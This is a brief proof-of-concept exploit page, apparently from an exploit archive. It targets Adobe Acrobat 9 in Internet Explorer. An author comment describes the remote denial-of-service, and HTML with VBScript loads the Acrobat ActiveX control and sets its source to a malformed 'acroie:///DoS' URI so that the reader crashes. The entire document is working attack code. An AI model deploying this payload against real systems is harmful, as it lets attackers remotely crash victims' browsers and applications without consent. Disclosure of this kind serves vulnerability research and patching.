<!-- Jeremy Brown ( Adobe Acrobat 9 Remote DoS (--) Tested on AA9/IE7/Vista I can't seem to reproduce this on XP! Oh well. Of course the most popular app for reading pdfs is SfS/SfI :) Basically it will crash with any uri that adobe doesn't like. Also interesting: try with file:///DoS and look in bottom left area --> <html><body> <object id=target classid=clsid:CA8A9780-280D-11CF-A24D-444553540000></object> <script language=vbscript> arg1="acroie:///DoS" target.src = arg1 </script> </body></html>
